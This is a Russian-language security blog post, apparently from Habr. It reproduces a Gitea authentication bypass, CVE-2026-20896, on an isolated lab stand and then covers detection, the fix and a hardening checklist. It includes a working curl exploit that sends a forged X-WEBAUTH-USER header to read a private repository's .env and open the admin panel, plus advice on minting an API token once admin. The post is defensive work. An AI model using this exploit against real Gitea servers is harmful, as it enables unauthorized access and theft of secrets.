Люди поднимают self-hosted git не от хорошей жизни. Ставят Gitea или Forgejo тогда, когда код нельзя отдавать наружу. Даже в приватные репозитории на GitHub не хочется, нужен свой закрытый контур, свои правила. Весь смысл затеи в приватности. Своё, за забором, под контролем.
А теперь представьте, что забора нет. Что “приватный” репозиторий отдаёт содержимое любому, кто попросит правильно. Что админом можно зайти без пароля, одним HTTP-заголовком.
Ровно это в 2026-м у Gitea и случилось. Причём не один раз.
Сразу оговорюсь: Gitea я сам не гоняю, и статья не про неё. Я занимаюсь безопасностью серверов, и здесь меня цепляет не конкретный продукт, а проблема, которую я вижу постоянно. Опасные дефолты в официальных Docker-образах. Человек берёт образ, запускает “как в доке”, и получает дыру, которую сам не закладывал. Поэтому я взял свежий критический CVE, поднял уязвимую версию на стенде и прошёл атаку целиком. Чтобы показать, насколько всё буквально.
Один заголовок до админа: CVE-2026-20896 (CVSS 9.8)
Вся уязвимость помещается в одну строку конфига.
Gitea умеет жить за аутентифицирующим reverse-proxy. Прокси проверяет пользователя и передаёт его имя в заголовке X-WEBAUTH-USER, а Gitea этому заголовку верит. Пока заголовок приходит от доверенного прокси, всё честно. За доверие отвечает параметр REVERSE_PROXY_TRUSTED_PROXIES. И вот в официальном Docker-образе он стоял в звёздочку. То есть “верить этому заголовку с любого адреса”.
Дальше арифметика простая. Админ включает reverse-proxy-авторизацию (её включают ради SSO), и любой человек из интернета шлёт заголовок X-WEBAUTH-USER: admin и становится админом. 9.8 по CVSS. Sysdig поймал попытки эксплуатации в дикой природе уже через несколько дней после публикации PoC.
Стенд
Всё в изолированном контейнере на localhost, секреты фейковые. Уязвимая версия и тот самый дефолт:
docker run -d --name vuln-gitea -p 127.0.0.1:3999:3000 \ -e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='*' \ -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \ gitea/gitea:1.26.2
Создал админа и приватный репозиторий secret-infra, а в нём .env. Ровно то, ради чего люди и держат приватный git у себя:
DB_PASSWORD=SuperSecret_Prod_2026AWS_SECRET_KEY=AKIA_fake_prod_key_xyzSTRIPE_LIVE=sk_live_fake_demo
Атака
Сначала смотрю на сервис как случайный прохожий из интернета, без единого доступа:
GET /admin/secret-infra/raw/branch/main/.env -> 404 Not FoundGET /api/v1/user -> 401 Unauthorized
Закрыто, как и должно быть. Теперь добавляю один заголовок:
curl -H 'X-WEBAUTH-USER: admin' \ http://target:3000/admin/secret-infra/raw/branch/main/.env
DB_PASSWORD=SuperSecret_Prod_2026AWS_SECRET_KEY=AKIA_fake_prod_key_xyzSTRIPE_LIVE=sk_live_fake_demo
Всё. Приватное перестало быть приватным. Идём в админку:
GET /-/admin без заголовка -> 303, редирект на логинGET /-/admin с заголовком -> 200, дашборд администратораGET /-/admin/users с заголовком -> 200, список всех пользователей
Полный контроль. Ни пароля, ни токена, ни учётки.
Одна деталь, чтобы не обмануться
Заголовок работает на веб-маршрутах: UI, raw-файлы, админка. А на /api/v1 не работает, там нужен токен, и API мне честно вернул 401. Звучит успокаивающе, но успокаиваться рано. Атакующий уже сидит в вебе админом, а значит через ту же веб-форму настроек выпускает себе персональный API-токен. И получает API. Просто в два шага вместо одного.
Как поймать в логах
След у атаки характерный. Успешные ответы на приватные и админские пути с адреса, которого там быть не должно:
router: completed GET /admin/secret-infra/raw/branch/main/.env for 172.30.0.3, 200 OKrouter: completed GET /-/admin for 172.30.0.3, 200 OK
Правило для алерта: 200 OK на /-/admin или на raw-файлы приватных репозиториев с IP, который не является вашим reverse-proxy. Если перед Gitea стоит один прокси, то любой заход в админку не с его адреса это уже инцидент.
Фикс
Доверять заголовку только от реального прокси, а не от всех:
-e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='10.0.0.5' # IP/CIDR вашего прокси
Пересоздал контейнер с этим значением, повторил тот же самый эксплойт из того же источника:
GET /-/admin с заголовком -> 401GET /admin/secret-infra/raw/branch/main/.env с заголовком -> 401
Заголовок с недоверенного адреса теперь просто игнорируется. По-хорошему надо обновиться до 1.26.4, где звёздочку из дефолта убрали. Не до 1.26.3, там в фиксе SSRF была регрессия. И если reverse-proxy-авторизация вам вообще не нужна, выключите её, и разговора не будет.
Это не единичный баг
Самое неприятное вылезает, если посмотреть на весь 2026-й у Gitea. Болезнь одна и та же, сломанный контроль доступа, а болеют разные органы.
Встроенный реестр контейнеров, CVE-2026-27771. Приватные образы отдавались анониму. Слово “private” на репозитории с образами оказалось просто меткой в интерфейсе. На уровне OCI-протокола, которым Docker и Kubernetes реально тянут образы, аутентификацию не проверяли вообще. Баг прожил около четырёх лет, под ударом оказалось порядка 30 000 инстансов в интернете, зацепило и Forgejo. Та же история: система думает, что доступ ограничен, а он не ограничен.
Дальше вебхуки и миграции, CVE-2026-22874, SSRF из-за дырявого allow-list фильтра, дотянуться можно было до внутренних адресов. Потом LFS и CVE-2026-28740: обход авторизации давал чтение приватных репозиториев и переиспользование объектов между репозиториями без прав.
Реестр, LFS, вебхуки, reverse-proxy. Каждая крутая фича поверх git притащила свою дыру в контроле доступа. Это и есть цена богатого функционала. Чем больше умеет сервис, тем больше в нём мест, где “приватное” внезапно оказывается общедоступным.
Если у вас крутится Gitea, проверьте сегодня
-
Версия. 1.26.4 или новее. 1.26.3 не берите, там регрессия в фиксе SSRF.
-
REVERSE_PROXY_TRUSTED_PROXIES. Не звёздочка, а конкретный IP или CIDR вашего прокси. Авторизация через прокси не нужна, выключайте.
-
Встроенный registry. Обновление обязательно из-за CVE-2026-27771. Быстрая затычка от анонима: REQUIRE_SIGNIN_VIEW=true в секции service.
-
Сеть. Не вешайте Gitea голым портом наружу. Впереди прокси или WAF, сетевые политики, ограничение на админские пути.
-
Мониторинг. Алерт на 200 OK по /-/admin и по raw-файлам приватных репозиториев с чужих адресов.
-
Экспозиция. Просканируйте себя снаружи и посмотрите, что реально торчит. Registry и LFS часто открыты шире, чем думает владелец.
Что из этого забрать
Одна звёздочка в дефолтном конфиге, и вот вам дыра на 9.8. Штука не про Gitea и не про эту конкретную CVE. Официальные образы приучили нас запускать чужие дефолты не глядя, а “работает из коробки” и “безопасно из коробки” это два очень разных состояния. Иногда между приватным и публичным ровно один символ. Здесь это была звёздочка.
Стенд поднимался в изолированном окружении, все секреты фейковые. Материал для защиты своих систем.
ссылка на оригинал статьи https://habr.com/ru/articles/1061222/